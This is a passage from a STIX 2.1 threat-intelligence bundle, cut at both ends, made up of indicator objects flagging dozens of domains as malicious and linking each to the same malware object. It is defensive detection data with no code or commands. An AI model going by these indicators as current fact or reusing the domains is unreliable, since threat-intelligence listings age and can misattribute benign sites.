"pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.605546Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b2690105-6fcd-47f4-b2ba-921e0b749e6a", "created": "2024-01-26T21:28:21.605939Z", "modified": "2024-01-26T21:28:21.605939Z", "relationship_type": "indicates", "source_ref": "indicator--1ed14979-ef5d-4ac2-bd33-7895e54ea41f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ea6f8d01-ebb2-458f-b4bd-ad85ec87b89c", "created": "2024-01-26T21:28:21.606037Z", "modified": "2024-01-26T21:28:21.606037Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirecting-url.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.606037Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c1972d01-349d-4a41-bc80-0980cf678bd2", "created": "2024-01-26T21:28:21.60643Z", "modified": "2024-01-26T21:28:21.60643Z", "relationship_type": "indicates", "source_ref": "indicator--ea6f8d01-ebb2-458f-b4bd-ad85ec87b89c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cdfa91f7-0380-4b42-a726-03cd1fe339be", "created": "2024-01-26T21:28:21.606529Z", "modified": "2024-01-26T21:28:21.606529Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='news-gazette.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.606529Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c5eef07d-6227-491b-a01b-db592184239e", "created": "2024-01-26T21:28:21.606931Z", "modified": "2024-01-26T21:28:21.606931Z", "relationship_type": "indicates", "source_ref": "indicator--cdfa91f7-0380-4b42-a726-03cd1fe339be", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1f35db9c-6a36-4a0d-9e2c-c35b1f79ab0c", "created": "2024-01-26T21:28:21.60703Z", "modified": "2024-01-26T21:28:21.60703Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allergiesandcooking.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.60703Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ee0933e4-9707-4eeb-979b-d54acaa40150", "created": "2024-01-26T21:28:21.60742Z", "modified": "2024-01-26T21:28:21.60742Z", "relationship_type": "indicates", "source_ref": "indicator--1f35db9c-6a36-4a0d-9e2c-c35b1f79ab0c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--72239a91-f07e-4e02-b966-18f2e2fd6c7d", "created": "2024-01-26T21:28:21.607516Z", "modified": "2024-01-26T21:28:21.607516Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='chormnet3.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.607516Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b87f3210-458f-4375-9aa0-14a6d66f32b6", "created": "2024-01-26T21:28:21.60798Z", "modified": "2024-01-26T21:28:21.60798Z", "relationship_type": "indicates", "source_ref": "indicator--72239a91-f07e-4e02-b966-18f2e2fd6c7d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4c380ea3-d3ed-4fdc-bc4a-cec724366942", "created": "2024-01-26T21:28:21.608078Z", "modified": "2024-01-26T21:28:21.608078Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-connection.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.608078Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f4b7a076-18fb-437c-8503-d3c1423efc6c", "created": "2024-01-26T21:28:21.608473Z", "modified": "2024-01-26T21:28:21.608473Z", "relationship_type": "indicates", "source_ref": "indicator--4c380ea3-d3ed-4fdc-bc4a-cec724366942", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ec7f007-2c2d-4962-9f2e-561c2dd9600c", "created": "2024-01-26T21:28:21.608572Z", "modified": "2024-01-26T21:28:21.608572Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dnsprotector.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.608572Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0546fe02-5755-4546-a6b3-74e104cdd361", "created": "2024-01-26T21:28:21.608951Z", "modified": "2024-01-26T21:28:21.608951Z", "relationship_type": "indicates", "source_ref": "indicator--1ec7f007-2c2d-4962-9f2e-561c2dd9600c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--885f5f48-92ab-4b0d-89a3-3b66c7852a68", "created": "2024-01-26T21:28:21.609047Z", "modified": "2024-01-26T21:28:21.609047Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tibetnews365.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.609047Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d9496aea-46ca-4448-87f0-c9bbba2c9ea5", "created": "2024-01-26T21:28:21.609433Z", "modified": "2024-01-26T21:28:21.609433Z", "relationship_type": "indicates", "source_ref": "indicator--885f5f48-92ab-4b0d-89a3-3b66c7852a68", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--abcce7ad-b8fb-4525-aea8-c097d1fd3ee2", "created": "2024-01-26T21:28:21.609536Z", "modified": "2024-01-26T21:28:21.609536Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='freshandsoftbread.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.609536Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d10de576-774b-4b6c-9733-3fcbf3d3d208", "created": "2024-01-26T21:28:21.609926Z", "modified": "2024-01-26T21:28:21.609926Z", "relationship_type": "indicates", "source_ref": "indicator--abcce7ad-b8fb-4525-aea8-c097d1fd3ee2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d1ca3cb1-1e66-4d2a-bc2a-2a72d34ed3b8", "created": "2024-01-26T21:28:21.610026Z", "modified": "2024-01-26T21:28:21.610026Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wallagainsthall.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.610026Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2412e668-cc4b-4fea-9f24-11eb26008ce1", "created": "2024-01-26T21:28:21.610414Z", "modified": "2024-01-26T21:28:21.610414Z", "relationship_type": "indicates", "source_ref": "indicator--d1ca3cb1-1e66-4d2a-bc2a-2a72d34ed3b8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6430cf3d-3b8f-4274-81ee-3fdc7e7ad4c0", "created": "2024-01-26T21:28:21.61051Z", "modified": "2024-01-26T21:28:21.61051Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='qaintqa.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.61051Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--765967e4-3180-4f9d-add7-bda9f5199ce7", "created": "2024-01-26T21:28:21.610886Z", "modified": "2024-01-26T21:28:21.610886Z", "relationship_type": "indicates", "source_ref": "indicator--6430cf3d-3b8f-4274-81ee-3fdc7e7ad4c0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4f91c83c-8e88-41a3-8b70-73e621aecad6", "created": "2024-01-26T21:28:21.610982Z", "modified": "2024-01-26T21:28:21.610982Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webresourcer.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.610982Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5580cf0e-f704-4adf-b062-a535a9d57781", "created": "2024-01-26T21:28:21.611363Z", "modified": "2024-01-26T21:28:21.611363Z", "relationship_type": "indicates", "source_ref": "indicator--4f91c83c-8e88-41a3-8b70-73e621aecad6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f2e813b0-d8f4-4739-844c-c64b0f20f46e", "created": "2024-01-26T21:28:21.611462Z", "modified": "2024-01-26T21:28:21.611462Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='additional-costs.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.611462Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9e61427f-2c2c-4f20-8720-f402f0c2b5b8", "created": "2024-01-26T21:28:21.611853Z", "modified": "2024-01-26T21:28:21.611853Z", "relationship_type": "indicates", "source_ref": "indicator--f2e813b0-d8f4-4739-844c-c64b0f20f46e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4a7edc38-30eb-4677-b697-6ace3e43f5b3", "created": "2024-01-26T21:28:21.611946Z", "modified": "2024-01-26T21:28:21.611946Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myseesea.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.611946Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--58f86cf3-1bd4-489d-88e1-f5ce6a64f6d3", "created": "2024-01-26T21:28:21.612406Z", "modified": "2024-01-26T21:28:21.612406Z", "relationship_type": "indicates", "source_ref": "indicator--4a7edc38-30eb-4677-b697-6ace3e43f5b3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fc4f123d-8f3b-4da6-85f0-1bafdd65a27f", "created": "2024-01-26T21:28:21.612507Z", "modified": "2024-01-26T21:28:21.612507Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ipurlredirect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.612507Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a25b2348-3c84-4560-9e27-d51e8e018254", "created": "2024-01-26T21:28:21.612895Z", "modified": "2024-01-26T21:28:21.612895Z", "relationship_type": "indicates", "source_ref": "indicator--fc4f123d-8f3b-4da6-85f0-1bafdd65a27f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4ca671ee-763f-4adf-b9d4-2d2b4cbd42d1", "created": "2024-01-26T21:28:21.61299Z", "modified": "2024-01-26T21:28:21.61299Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yummyfoodallover.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.61299Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a591b258-0bff-40e7-a140-f49c8b676d6e", "created": "2024-01-26T21:28:21.61338Z", "modified": "2024-01-26T21:28:21.61338Z", "relationship_type": "indicates", "source_ref": "indicator--4ca671ee-763f-4adf-b9d4-2d2b4cbd42d1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ad83283b-5264-4df6-98ab-f64a7a3215fa", "created": "2024-01-26T21:28:21.613477Z", "modified": "2024-01-26T21:28:21.613477Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='authenticangry.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.613477Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c68352fa-656e-429f-8bf2-422b47a51d01", "created": "2024-01-26T21:28:21.613866Z", "modified": "2024-01-26T21:28:21.613866Z", "relationship_type": "indicates", "source_ref": "indicator--ad83283b-5264-4df6-98ab-f64a7a3215fa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b250631d-ece4-4ba8-8b77-a13c7945fe8c", "created": "2024-01-26T21:28:21.613962Z", "modified": "2024-01-26T21:28:21.613962Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reservationszone.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.613962Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--06fda113-3632-4125-93b0-37041cc27d9f", "created": "2024-01-26T21:28:21.614366Z", "modified": "2024-01-26T21:28:21.614366Z", "relationship_type": "indicates", "source_ref": "indicator--b250631d-ece4-4ba8-8b77-a13c7945fe8c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--86db4b64-02f1-4846-bded-32e14220a095", "created": "2024-01-26T21:28:21.614466Z", "modified": "2024-01-26T21:28:21.614466Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pizzatoyourplace.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.614466Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--81249224-a5fe-4616-8c43-ac3dd4453ed4", "created": "2024-01-26T21:28:21.614865Z", "modified": "2024-01-26T21:28:21.614865Z", "relationship_type": "indicates", "source_ref": "indicator--86db4b64-02f1-4846-bded-32e14220a095", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b4b2e0b-866e-4886-bcd8-1e5cec5860b9", "created": "2024-01-26T21:28:21.614964Z", "modified": "2024-01-26T21:28:21.614964Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dnsclocknow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.614964Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--66774c07-d43a-4b4d-b0aa-50bb2d9d06b1", "created": "2024-01-26T21:28:21.615343Z", "modified": "2024-01-26T21:28:21.615343Z", "relationship_type": "indicates", "source_ref": "indicator--6b4b2e0b-866e-4886-bcd8-1e5cec5860b9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9827e2a5-2d17-4bca-be08-80f688c91d41", "created": "2024-01-26T21:28:21.615444Z", "modified": "2024-01-26T21:28:21.615444Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nerdtvfan.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.615444Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e0d5d049-fb1d-4358-8f38-85eb82e3d5a4", "created": "2024-01-26T21:28:21.615824Z", "modified": "2024-01-26T21:28:21.615824Z", "relationship_type": "indicates", "source_ref": "indicator--9827e2a5-2d17-4bca-be08-80f688c91d41", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aa270cc8-f995-42fd-b7fe-81f449ede0eb", "created": "2024-01-26T21:28:21.615919Z", "modified": "2024-01-26T21:28:21.615919Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='template-iso.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.615919Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--470d818a-5442-4357-8836-f26f202e5eaf", "created": "2024-01-26T21:28:21.616304Z", "modified": "2024-01-26T21:28:21.616304Z", "relationship_type": "indicates", "source_ref": "indicator--aa270cc8-f995-42fd-b7fe-81f449ede0eb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fe2040bd-5037-476d-b6bc-70e03ea33f13", "created": "2024-01-26T21:28:21.616399Z", "modified": "2024-01-26T21:28:21.616399Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='financecomments.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.616399Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d44370c8-2854-4f15-bebc-805244910266", "created": "2024-01-26T21:28:21.616863Z", "modified": "2024-01-26T21:28:21.616863Z", "relationship_type": "indicates", "source_ref": "indicator--fe2040bd-5037-476d-b6bc-70e03ea33f13", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--75528eb7-1797-4758-be9d-90cbc6b21ae6", "created": "2024-01-26T21:28:21.616966Z", "modified": "2024-01-26T21:28:21.616966Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='addresstimeframe.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.616966Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ec2f4d86-77fd-4c8d-97f7-e54f6913467f", "created": "2024-01-26T21:28:21.617356Z", "modified": "2024-01-26T21:28:21.617356Z", "relationship_type": "indicates", "source_ref": "indicator--75528eb7-1797-4758-be9d-90cbc6b21ae6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dd629990-8855-4757-804d-44d7bcb6b6ff", "created": "2024-01-26T21:28:21.617456Z", "modified": "2024-01-26T21:28:21.617456Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='waterforplants.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.617456Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3378bb4c-b6a6-4a46-9e1f-c8f81facc9dd", "created": "2024-01-26T21:28:21.617847Z", "modified": "2024-01-26T21:28:21.617847Z", "relationship_type": "indicates", "source_ref": "indicator--dd629990-8855-4757-804d-44d7bcb6b6ff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--55d74962-f4bd-4f88-8d82-568593036b38", "created": "2024-01-26T21:28:21.617942Z", "modified": "2024-01-26T21:28:21.617942Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='chistedeldia.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.617942Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6757a84f-0a11-43eb-9347-d0911421c077", "created": "2024-01-26T21:28:21.618324Z", "modified": "2024-01-26T21:28:21.618324Z", "relationship_type": "indicates", "source_ref": "indicator--55d74962-f4bd-4f88-8d82-568593036b38", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c6b0e012-9d5c-4bc8-af18-120d9aaf261b", "created": "2024-01-26T21:28:21.618419Z", "modified": "2024-01-26T21:28:21.618419Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='coupedumondepro.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.618419Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8bd41837-1383-478d-a33b-ed3d881b4cfe", "created": "2024-01-26T21:28:21.618807Z", "modified": "2024-01-26T21:28:21.618807Z", "relationship_type": "indicates", "source_ref": "indicator--c6b0e012-9d5c-4bc8-af18-120d9aaf261b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b7eedf14-0b67-40aa-b7b3-a11d422ea60d", "created": "2024-01-26T21:28:21.618903Z", "modified": "2024-01-26T21:28:21.618903Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newsofthemoment.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.618903Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ef04efcd-68ad-45b0-86ba-59b51e101c4a", "created": "2024-01-26T21:28:21.619294Z", "modified": "2024-01-26T21:28:21.619294Z", "relationship_type": "indicates", "source_ref": "indicator--b7eedf14-0b67-40aa-b7b3-a11d422ea60d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1e50879a-1e3b-4c76-a4b7-34e1aa90c3e7", "created": "2024-01-26T21:28:21.619394Z", "modified": "2024-01-26T21:28:21.619394Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='social-rights.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.619394Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ca9cdf12-ef5d-4c31-b055-b97ffe4be8c0", "created": "2024-01-26T21:28:21.619775Z", "modified": "2024-01-26T21:28:21.619775Z", "relationship_type": "indicates", "source_ref": "indicator--1e50879a-1e3b-4c76-a4b7-34e1aa90c3e7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1269b6f6-3e4f-4939-97fc-245b8bf808af", "created": "2024-01-26T21:28:21.61987Z", "modified": "2024-01-26T21:28:21.61987Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='volcanosregion.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.61987Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7e8511e0-588b-4df5-9a16-f0f1e74950aa", "created": "2024-01-26T21:28:21.620256Z", "modified": "2024-01-26T21:28:21.620256Z", "relationship_type": "indicates", "source_ref": "indicator--1269b6f6-3e4f-4939-97fc-245b8bf808af", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4e7f7aed-1b25-4427-9e04-a0d1d179cdf3", "created": "2024-01-26T21:28:21.620351Z", "modified": "2024-01-26T21:28:21.620351Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='earsstrawsfive.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.620351Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c1050fc5-74ed-434b-b195-cedf3b06f18a", "created": "2024-01-26T21:28:21.62074Z", "modified": "2024-01-26T21:28:21.62074Z", "relationship_type": "indicates", "source_ref": "indicator--4e7f7aed-1b25-4427-9e04-a0d1d179cdf3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--73a6beaa-5285-4c18-863d-eb839a4680e3", "created": "2024-01-26T21:28:21.620836Z", "modified": "2024-01-26T21:28:21.620836Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='qualityfeeling.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.620836Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b0346806-4975-49b8-8a53-52c0f045636c", "created": "2024-01-26T21:28:21.621298Z", "modified": "2024-01-26T21:28:21.621298Z", "relationship_type": "indicates", "source_ref": "indicator--73a6beaa-5285-4c18-863d-eb839a4680e3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0ffc1445-5b39-46a5-97b7-02ec914c5822", "created": "2024-01-26T21:28:21.621403Z", "modified": "2024-01-26T21:28:21.621403Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='directbegins.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.621403Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7bfcb360-bc6e-44d9-ac96-8313c59bf29f", "created": "2024-01-26T21:28:21.621807Z", "modified": "2024-01-26T21:28:21.621807Z", "relationship_type": "indicates", "source_ref": "indicator--0ffc1445-5b39-46a5-97b7-02ec914c5822", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fbd8bd1c-5731-4a27-9fed-41b6f1116187", "created": "2024-01-26T21:28:21.621906Z", "modified": "2024-01-26T21:28:21.621906Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unionofteenagers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.621906Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f6edab2b-7158-468e-a0b4-bea18338bf86", "created": "2024-01-26T21:28:21.622294Z", "modified": "2024-01-26T21:28:21.622294Z", "relationship_type": "indicates", "source_ref": "indicator--fbd8bd1c-5731-4a27-9fed-41b6f1116187", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4df18318-48d5-45de-a0d2-3eb3bd5b4d81", "created": "2024-01-26T21:28:21.62239Z", "modified": "2024-01-26T21:28:21.62239Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='strategyroles.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.62239Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c5b646e6-a0c6-42bb-886b-e00fe058a931", "created": "2024-01-26T21:28:21.622777Z", "modified": "2024-01-26T21:28:21.622777Z", "relationship_type": "indicates", "source_ref": "indicator--4df18318-48d5-45de-a0d2-3eb3bd5b4d81", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2b6bb178-b8cd-4e88-9cdb-76758e039bac", "created": "2024-01-26T21:28:21.622873Z", "modified": "2024-01-26T21:28:21.622873Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='delivery-24-7.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.622873Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--52721d56-e5c5-4d50-bf8e-a190f2378c20", "created": "2024-01-26T21:28:21.623258Z", "modified": "2024-01-26T21:28:21.623258Z", "relationship_type": "indicates", "source_ref": "indicator--2b6bb178-b8cd-4e88-9cdb-76758e039bac", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--32fb1e0f-2728-4ec0-a62e-ea3c222ba655", "created": "2024-01-26T21:28:21.62336Z", "modified": "2024-01-26T21:28:21.62336Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='housing-update.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.62336Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c787313d-f1bc-45e0-bb92-6beb036b59e6", "created": "2024-01-26T21:28:21.623743Z", "modified": "2024-01-26T21:28:21.623743Z", "relationship_type": "indicates", "source_ref": "indicator--32fb1e0f-2728-4ec0-a62e-ea3c222ba655", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a8e03f05-2b0e-400d-85cd-e1949e668e71", "created": "2024-01-26T21:28:21.623839Z", "modified": "2024-01-26T21:28:21.623839Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='feelbonesbag.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.623839Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5e27c754-96fe-4623-ade0-72163e2ce4bb", "created": "2024-01-26T21:28:21.624222Z", "modified": "2024-01-26T21:28:21.624222Z", "relationship_type": "indicates", "source_ref": "indicator--a8e03f05-2b0e-400d-85cd-e1949e668e71", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ec9e667b-560c-44b4-8442-11d4e93aecb1", "created": "2024-01-26T21:28:21.624317Z", "modified": "2024-01-26T21:28:21.624317Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='syncingprocess.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.624317Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--188f9049-a983-4a9d-936f-14883c0420c6", "created": "2024-01-26T21:28:21.624705Z", "modified": "2024-01-26T21:28:21.624705Z", "relationship_type": "indicates", "source_ref": "indicator--ec9e667b-560c-44b4-8442-11d4e93aecb1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--38175400-9344-41e0-88c4-652621e5d8d8", "created": "2024-01-26T21:28:21.624799Z", "modified": "2024-01-26T21:28:21.624799Z", "indicator_types": 